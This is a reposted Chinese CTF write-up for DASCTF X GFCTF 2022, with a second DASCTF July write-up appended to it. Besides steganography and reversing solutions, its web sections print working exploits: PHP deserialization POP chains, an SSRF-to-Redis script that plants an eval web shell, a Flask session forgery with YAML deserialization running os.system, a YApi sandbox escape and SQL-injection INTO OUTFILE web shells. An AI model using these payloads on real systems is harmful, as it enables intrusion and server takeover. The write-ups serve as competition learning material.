DASCTF X GFCTF 2022十月挑战赛 WriteUp
Posted Whitebird_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DASCTF X GFCTF 2022十月挑战赛 WriteUp相关的知识,希望对你有一定的参考价值。
I GOT 油 我想抽
MISC
ansic
安卓misc,逆不逆向问题不大,逆向了可以找到账号密码是admin和admin的md5的8到24位。
然后里面有一张图,在assert里也可以看见加密图片的逻辑(但也问题不大,ps可以搞定),加密图片在res里面,存在一个encode.jpg的图片
解密后是base64
目力之后是
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwODA2NyIsImF1ZCI6IkRTVEJQIiwiaWF0IjoxNjY1MTExODg5LjYwMTY5MjQsImhpbnQiOiJUaGUgU2lnbmF0dXJlJ3MgYmFzZTY0IGlzIFppcCdzIFBhc3N3b3JkIiwiZXhwIjoxNjk2NjQ3ODg5LjYwMTY5MjR9.fBPoMQprLZF280c7jazIApJC4m0PX_Cx9_UnNMGZIP0
用jwt爆破密钥,得到w1lm,base64加密后提取一张jpg和class,jpg是jphs的隐写,密码在class文件中,class逆向得到逻辑
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
public class pwEncode
public static void main(String[] paramArrayOfString) throws IOException
File file = new File("D:/ansic/message.txt");
FileReader fileReader = new FileReader(file);
BufferedReader bufferedReader = new BufferedReader(fileReader);
String str1 = bufferedReader.readLine();
String str2 = "mllw";
String str3 = "";
byte b;
int i;
for (b = 0, i = 0; b < str1.length(); b++)
char c = str1.charAt(b);
if (Character.isLetter(c))
if (Character.isUpperCase(c))
str3 = str3 + (char)((c + str2.toUpperCase().charAt(i) - 130) % 26 + 65);
else
str3 = str3 + (char)((c + str2.toLowerCase().charAt(i) - 194) % 26 + 97);
else
str3 = str3 + c;
i = ++i % str2.length();
if (str3 == "pdexbdlueesabldoizczudmlfdo")
System.out.println(str3);
最后可以爆破得到明文为:dstbpsaysthepasswordisbptsd
import string
def _enc(c,index):
key = 'mllw'
if c.isupper():
return chr((ord(c)+ord(key[index%4].upper())-130)%26+65)
else:
return chr((ord(c)+ord(key[index%4].lower())-194)%26+97)
enc = 'pdexbdlueesabldoizczudmlfdo'
table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
res = ''
for i in range(len(enc)):
for j in table:
if _enc(j,i) == enc[i]:
res+=j
print(enc)
图片右键属性可以看见base64 jphs的提示,用jphs来解即可,密码:bptsd
滴滴图
图片结尾
图片binwalk,提取压缩包密码解压,获得图片,图片改高度
用来解压音频压缩包
然后morse密码,发现有干扰,用au分离左右声道
在线识别即可
left直接转hex,right识别出来全是乱码无视。(最后一位没识别完就截图了,无所谓
转换,是to_be_ctfer,直接提交。
poi?qoi!
工具转一下 r0有个mask
Mask:
Fake:
Real:
ez_xxd
流量分析,直接提取,flag.txt提取完是个图片,zip解压是个压缩包,zip内有一个叫Miku.png的图片,然后刚好提取的图片内容也是miku,直接明文爆破,获得密钥
bf5b3101 9aed7bd6 79e1cb93
myd直接提取就行了,直接是带密码的flag.zip,密码不知道,时间排序看js
解压flag.zip即可
easy_dots
打印机黄色校验,彩色打印机一般都有的水印
参考文章
https://w2.eff.org/Privacy/printers/docucolor/
不过在线工具不好使了,他给了源码,
https://gist.github.com/zwh2/ffb3d4ee0f66b8e6c726a217ff3d7f9cf12
点好的数据f12抓包,上传的时候的参数给自己本地部署的发过去就行了
(wp截图仅供参考,懒得重新点了)
postman发一下捏
设备id08067520,时间,2002 10-28 06:06,拼接md5提交
dockermisc
本想着用docker-layer做来着,不如直接挨个layer翻
翻到图片
lsb可以获得前半段,然后后面拼接个压缩包可以直接提取出来,直接爆破
获得flag内容,有0宽,不过数据量不够,是混淆用的,把可见字符直接base85就行了
Web
EasyPOP
Fast-destruct
```php
<?php
class fine
private $cmd;
private $content;
public function __construct($cmd, $content)
$this->cmd = $cmd;
$this->content = $content;
public function __invoke()
call_user_func($this->cmd, $this->content);
public function __wakeup()
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
class show
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
$this->ctf = $ctf;
public function __toString()
return $this->ctf->show();
public function show(): string
return $this->ctf . ": Duration of practice: " . $this->time;
class sorry
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password, $key, $hint)
$this->name = $name;
$this->password = $password;
$this->key = $key;
$this->hint = $hint;
public function __get($name)
$name = $this->key;
$name();
public function __destruct()
if ($this->password == $this->name)
echo $this->hint;
else if ($this->name = "jay")
secret_code::secret();
else
echo "This is our code";
public function getPassword()
return $this->password;
public function setPassword($password): void
$this->password = $password;
class secret_code
protected $code;
public function __construct($code)
$this->code = $code;
public static function secret()
include_once "hint.php";
hint();
public function __call($name, $arguments)
$num = $name;
$this->$num();
private function show()
return $this->code->secret;
$hint = new show(new secret_code(new sorry("1", "2", new fine('show_source', '/flag'), "")));
$a = new sorry(true, "123", "", $hint);
$content = serialize($a);
$content = substr($content, 0, strlen($content));
echo(urlencode($content));
删掉一个大括号
hade_waibo
非预期,直接读/start.sh,里面有文件名
http://0c4e0129-baa2-487f-9f8b-63e3e2a48170.node4.buuoj.cn:81/file.php?m=show&filename=…/…/…/…/start.sh
EasyLove
ssrf打redis,date提权输出flag
Python
cmd = [
"AUTH 20220311",
"flushall",
"set 1 ".format("<?php$IFSeval($_POST[0]);?>"),
"config set dir ".format("/var/www/html/"),
"config set dbfilename ".format("shell.php"),
"save"
]
def redis_format(arr):
CRLF = "\\r\\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*"+str(len(redis_arr))
for x in redis_arr:
cmd += CRLF+"$" + \\
str(len((x.replace("$IFS", " "))))+CRLF+x.replace("$IFS", " ")
cmd += CRLF
return cmd
print(''.join([redis_format(x) for x in cmd]))
PHP
<?php
class swpu
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;
public function __construct($wllm,$arsenetang,$l61q4cheng,$love)
$this->wllm = $wllm;
$this->arsenetang = $arsenetang;
$this->l61q4cheng = $l61q4cheng;
$this->love = $love;
public function newnewnew()
$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
public function flag()
$this->love->getflag();
public function __destruct()
$this->newnewnew();
$this->flag();
$o = new swpu('SoapClient', null, array(
'user_agent' => "\\r\\n".file_get_contents("payload"),
'location'=>'http://127.0.0.1:6379',
'uri'=>''
), null);
class hint
public $hint = "/var/www/html/";
public function __destruct()
echo file_get_contents($this-> hint.'hint.php');
echo(urlencode(serialize($o)));
BlogSystem
博客里有常用secret直接改cookie
flask-unsign --sign --secret '7his_1s_my_fav0rite_ke7' -c
"'_permanent': True, 'username': 'admin'"
从download接口下源码,有个yaml反序列化,搞个py上去import一下module就行
import requests
import random
s = random.randbytes(2).hex()
f = f"""
!!python/module:static.upload.s
"""
session = requests.Session()
session.cookies.set("session", "eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6ImFkbWluIn0.Y1TK9w.sL9xcd4WuJrGlN_4aziq1PFhYDA")
url = "http://de91fa76-573b-426d-9c7b-f045470fd8d2.node4.buuoj.cn:81"
r = session.post(url + "/blog/imgUpload", files=
"editormd-image-file": (f"s.py", f"import os;os.system('cat /flag > /tmp/result-s.txt')", "text/plain")
)
print(r.json())
r = session.post(url + "/blog/imgUpload", files=
"editormd-image-file": (f"s.yaml", f, "text/plain")
)
print(r.json())
r = session.get(url + "/blog/saying", params=
"path": f"static/upload/s.yaml"
)
print(r.text)
r = session.get(url + "/download", params=
"path": f"/tmp/result-s.txt"
)
print(r.text)
REVERSE
Pycode
手动逆向一下,mt19937
from Crypto.Util import number
enc = '8b2e4e858126bc8478d6a6a485215f03'
def inverse_right(res, shift, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp >> shift
return tmp
# right shift with mask inverse
def inverse_right_mask(res, shift, mask, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp >> shift & mask
return tmp
# left shift inverse
def inverse_left(res, shift, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp << shift
return tmp
# left shift with mask inverse
def inverse_left_mask(res, shift, mask, bits=32):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp << shift & mask
return tmp
def extract_number(x):
# x, x, 11
x = (x >> 11) ^ x
x = x ^ ((x << 7) & 2022072721)
x = x ^ ((x << 15) & 2323163360)
x = x ^ (x >> 18)
return x
def recover(y):
y = inverse_right(y,18)
y = inverse_left_mask(y,15,2323163360)
y = inverse_left_mask(y,7,2022072721)
y = inverse_right(y,11)
return y&0xffffffff
def transform(m: bytes):
new_message = b''
l = len(m)
for i in range(l // 4):
enc = m[i * 4:i * 4 + 4]
enc = number.bytes_to_long(enc)
enc = extract_number(enc)
enc = number.long_to_bytes(enc, 4)
new_message += enc
return new_message
if __name__ == "__main__":
num = input("input your number")
tmp = bytes.fromhex(num)
res = transform(tmp).hex()
if enc == res:
print("ok,your flag : DASCTFname".format(name=num))
else:
print("wrong")
new_message = b''
enc = bytes.fromhex(enc)
l = len(enc)
for i in range(l // 4):
dec = enc[i * 4:i * 4 + 4]
dec = number.bytes_to_long(dec)
dec = recover(dec)
dec = number.long_to_bytes(dec, 4)
new_message += dec
print(new_message.hex())
贪玩CTF
首先看一下导出表,有TLS,查看代码是反调试
查看关键词,交叉引用定位关键代码
关键函数在sub_1400019C0里面,返回值判断是否能成功登录,当v17==1,才能成功登录
密码和登录账号的长度都要是16,而且sub_140001390是一个关键函数,后面分析
account 逐字节xor账户名最后一个字节,我们动调看一下密文,下面是account的验证
记得要过反调试,把 IsDebuggerPresent的返回值1改成0就行了
提取数据
2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th WriteUp
最后十分钟掉了4名可还行
只写自己做了的,队友出的就不写了
题目:
Crypto:Yusa的密码学签到——BlockTrick
MISC:5道+1道赛后复现(共6道)
WEB:ezrce、cat flag、easythinkphp、jspxcms、cybercms
Crypto:Yusa的密码学签到——BlockTrick
不知道啥意思,反正暂且当复读机就行了。
MISC-问卷题
DASCTF{79f3bb47a2e2d46def82c052eccb7b80}
MISC-red_vs_blue
一共66轮,本来想手动发现90s会自动断开,还发现在同一轮nc里面的答案是固定的,于是可以写脚本试错在90s内赢66轮
p=remote("node4.buuoj.cn",26137)
context.log_level='debug'
answer='b'*66
f=False
while True:
for i in range(66):
p.recvuntil('choose one [r] Red Team,[b] Blue Team:')
p.sendline(answer[i])
p.recvuntil("Team")
p.recvuntil("Team\\n")
if p.recv(5).decode()=="Sorry":
p.recvuntil('Play again? (y/n): ')
answer=answer[:i]+'r'+answer[i+1:]
p.sendline('y')
break
else:
continue
try:
flag1=p.recvuntil('flag')
flag2=p.recvuntil('\\n')
f=True
break
except:
pass
if f:
break
print(flag1,flag2)
MISC-funny_maze
麻了麻了,照着改了好多次,2个半小时就没了
原脚本:https://blog.csdn.net/qq_29681777/article/details/83719680
对其进行修改:
def winner(n):
dirs = [(0, 1), (1, 0), (0, -1), (-1, 0)] # 当前位置四个方向的偏移量
path = [] # 存找到的路径
def mark(maze, pos): # 给迷宫maze的位置pos标"2"表示“倒过了”
maze[pos[0]][pos[1]] = 2
def passable(maze, pos): # 检查迷宫maze的位置pos是否可通行
return maze[pos[0]][pos[1]] == 0
def find_path(maze, pos, end):
mark(maze, pos)
if pos == end:
print(pos, end=" ") # 已到达出口,输出这个位置。成功结束
path.append(pos)
return True
for i in range(4): # 否则按四个方向顺序检查
nextp = pos[0] + dirs[i][0], pos[1] + dirs[i][1]
# 考虑下一个可能方向
if passable(maze, nextp): # 不可行的相邻位置不管
if find_path(maze, nextp, end): # 如果从nextp可达出口,输出这个位置,成功结束
print(pos, end=" ")
path.append(pos)
return True
return False
def see_path(maze, path,counts): # 使寻找到的路径可视化
count = 0
for i, p in enumerate(path):
if i == 0:
maze[p[0]][p[1]] = "E"
elif i == len(path) - 1:
maze[p[0]][p[1]] = "S"
else:
maze[p[0]][p[1]] = 3
print("\\n")
for r in maze:
for c in r:
if c == 3:
print('\\033[0;31m' + "*" + " " + '\\033[0m', end="")
count += 1
elif c == "S" or c == "E":
print('\\033[0;34m' + c + " " + '\\033[0m', end="")
elif c == 2:
print('\\033[0;32m' + "#" + " " + '\\033[0m', end="")
elif c == 1:
print('\\033[0;;40m' + " " * 2 + '\\033[0m', end="")
else:
print(" " * 2, end="")
print()
print(count+1)
counts = count +1
return counts
p.recvuntil("#"*n + '\\n')
map = ["#"*n]
for i in range(n-1):
map.append(str(p.recvline())[2:-3])
for i in map:
print(i)
maze = [[0]*n for i in range(n)]
for h in range(len(map)):
for w in range(len(map)):
if(map[w][h] == '#'):
maze[w][h] = 1
if(ord(map[w][h]) == 32 or map[w][h] == 'S' or map[w][h] == 'E'):
maze[w][h] == 0
print(maze)
for h in range(len(map)):
for w in range(len(map)):
if(map[w][h] == 'S'):
start = (w,h)
if(map[w][h] == 'E'):
end = (w,h)
counts = 0
find_path(maze, start, end)
c = see_path(maze, path,counts)
p.recvline()
p.sendline(str(c+1))
from pwn import *
context.log_level ='debug'
p = remote("node4.buuoj.cn",29622)
p.sendline("1")
winner(11)
winner(21)
winner(31)
winner(101)
winner(111)
这里定义为了函数,是为了初始化,如果不定义成函数,就会出现错误。还有就是定义二维数组一定要像我那样定义,不然会出现非理想的情况,免得自己排查都没排除清楚。
MISC-Just a GIF
类似国赛的GIF,甚至比国赛的简单
首先GIF用GIFFrame分离,一共得到451张图片
每11张为一组,一共41组,一组一组的来比较,即第一组第x张和每组第x张比较,相同画白,不同画黑
听不懂就看脚本
from PIL import Image
import os
from tqdm import tqdm
path = 'C:\\\\Users\\\\mumuzi\\\\Desktop\\\\Just_a_GIF'
pic = ['']*451
i = 0
for filename in os.listdir(path):
pic[i] = filename
i += 1
print(pic)
tmp = Image.open(path+'\\\\Frame0.png')
w,h = tmp.size[0],tmp.size[1]
img = Image.new('RGB',(w,h),(255,255,255))
count= 0
flag = ''
#上面没用,是当时调试的时候写的,忘了删了
for i in tqdm(range(11)):
picn = Image.new('RGB',(w,h),(255,255,255))
for t in range(1,41):
pic1 = Image.open(path+'\\\\Frame'+str(i)+'.png')
pic2 = Image.open(path+'\\\\Frame'+str(i+t*11)+'.png')
for j in range(h):
for k in range(w):
tmp1 = pic1.getpixel((k,j))
tmp2 = pic2.getpixel((k,j))
if(tmp1 != tmp2):
picn.putpixel((k,j),(0,0,0))
picn.save(str(i)+'.png')
妈的,笑死,我当时到底在写什么玩意儿,前面获取了目录后面为啥不直接用目录,有病。
想起来了,上面,for i 前面的 都不用看,那是当时在调试的时候测试的,只需要从for i in tqdm(range(11))开始看就行了
我的命名是从0开始到450的
然后跑出来:
很容易看出来是要拼起来,9张图手撸即可
DataMatrix
https://demo.dynamsoft.com/barcode-reader/
DASCTF{6bb73086aeb764b5727529d82b084cce}
MISC-Nuclear wastewater
核~~废~~水
原本黑黑的二维码变成了彩色的,把他的值打印出来,发现2通道为0,另一通道不为零
将其转字符,因为包含不可打印字符,所以这里把范围限制到32~128
from PIL import Image
img = Image.open('Nuclear wastewater.png')
w,h = img.size[0],img.size[1]
for i in range(3):
for j in range(10,h-10,10):
for k in range(10,w-10,10):
tmp = list(img.getpixel((k,j)))
if(tmp != [255, 255, 255] and int(tmp[i]) != 0 and tmp[i]>32 and tmp[i]<128):
print(chr(tmp[i]),end='')
虽然我知道if判断那里前两个条件多余了,但是当时是这样做的,就还是这样写吧。
得到:
Ys>UEJht#?ppeEFtstR#:hitR:@s@YRteK#e@KsR&E&:eR:Eht/#iKtteYKhYKYhhhihhKtC2tt:HVEesY&#@Rj!seRi:eitEtKsetKtEE:hh#h#eYKYihhYK(Kt@iSY$KY/@pRsEetsip:~h@eeEs!E&&::EsEEei#/iYe#/ieKKt//iKYhh
然后词频
from collections import Counter
f = 'Ys>UEJht#?ppeEFtstR#~:hi~tR:@s@YRteK#e@KsR&E&:eR:Eht/#iKtteYKhYKYhhhihhKtC2tt:HVEesY&#@Rj!seRi:eitEtKsetKtEE:hh#h#eYKYihhYK(Kt@iSY$KY/@pRsEetsip:~h@eeEs!E&&::EsEEei#/iYe#/ieKKt//iKYhh'
c = Counter(f)
print(c)
#R@/&p~!,因为后面词频为1,出题人肯定不会将1的放进去,不然就不知道顺序,做起来稍微麻烦了一点,测试发现果然如此,解压成功。
#R@/&p~!
然后用winhex查看解压的txt
发现零宽隐写,包含:U+200C U+200D U+200E
http://330k.github.io/misc_tools/unicode_steganography.html
直接上cyberchef,注意复制的时候不要把零宽的内容复制进去了,或者直接复制上图左上的内容
flag{98047de9ce5aaa4c0031fb55e9dfac70}
MISC-赛后复现-ezSteganography
非预期,用stegsolve分离出g0通道,得到前半张图
然后,图g0和g1异或
flag{2e9ec6480d05150c211963984dcbc9f1}
WEB-ezrce
打开显示yapi,直接去百度yapi漏洞
https://blog.csdn.net/Trouble_99/article/details/118667625
这篇 无脑的命令执行方法
然后就是找flag的位置
先ls没有,然后ls …/; ls …/…/发现ffffffflllllaggggg
最后:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor(‘return process’)
const process = myfun()
mockJson = process.mainModule.require(“child_process”).execSync(“cat …/…/ffffffflllllaggggg”).toString()
WEB-cat flag
根据提示:管理员曾经访问过 flag,可以去日志找
Payload:?cmd=/var/log/nginx/access.log
得到:/this_is_final_flag_e2a457126032b42d.php
然后就是想办法绕过escapeshellarg
而根据百度经常看见的做法,一般escapeshellarg和escapeshellcmd一起用
所以这里去单独搜escapeshellarg函数
https://www.php.net/manual/zh/function.escapeshellarg.php
注意到用户提出的问题
当escapeshellarg()从UTF-8字符串中剥离非ASCII字符时,添加以下内容修复了该问题。
然后看我们这道题,是并没有添加的,所以可能存在这个问题
然后又要绕flag,所以可以将其添加在flag当中试试
Payload:http://3a33dc78-d707-4a3d-9237-fce482a8ae8e.node4.buuoj.cn/?cmd=this_is_final_fl%81ag_e2a457126032b42d.php
然后看源码
WEB-easythinkphp
ThinkPHP3.2.3
手里有两个Thinkphpgui,一个利用范围基本5.x,一个包含3.x
是从peiqi薅的
一键getshell
上蚁剑
http://68dcc3c6-18dc-4e12-8c76-1c8b783f9f9f.node4.buuoj.cn//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_01.log
Pass:peiqi
Web-jspxcms
跟着这篇文章复现就完事:
https://lockcy.github.io/2019/10/18/%E5%A4%8D%E7%8E%B0jspxcms%E8%A7%A3%E5%8E%8Bgetshell%E6%BC%8F%E6%B4%9E/
Web-cybercms
/www.zip 源码泄漏 /admin 后台
(当时看这后台就觉得熟悉,结果之后才发现在bugku打awd的时候打过beescms)
源码里面看index.php,发现是beescms
然后是得到了他的一个
payload:
admin’ uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile ‘C:/phpStudy/WWW/beescms/shell.php’#
试试
发现题目改过,是在原来基础上多了个f1_vvv
然后用notepad++搜整个文件夹,在www\\includes\\fun.php下
发现是过滤了空格,可以用Tab代替空格,%a0=空格。
哦对,目录也要改,在看robots.txt的时候发现目录/var/www/html/
所以写在其处,这里用的是Tab代替空格
最终payload:
admin%27 un union ion seselectlect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into to outoutfilefile ‘/var/www/html/shell.php’#
剑蚁/shell.php 密码cmd
以上是关于DASCTF X GFCTF 2022十月挑战赛 WriteUp的主要内容,如果未能解决你的问题,请参考以下文章
DASCTF X GFCTF 2022十月挑战赛 Writeup
DASCTF X CBCTF 2022九月挑战赛 Writeup
DASCTF X CBCTF 2022九月挑战赛 Writeup
DASCTF X CBCTF 2022九月挑战赛 Writeup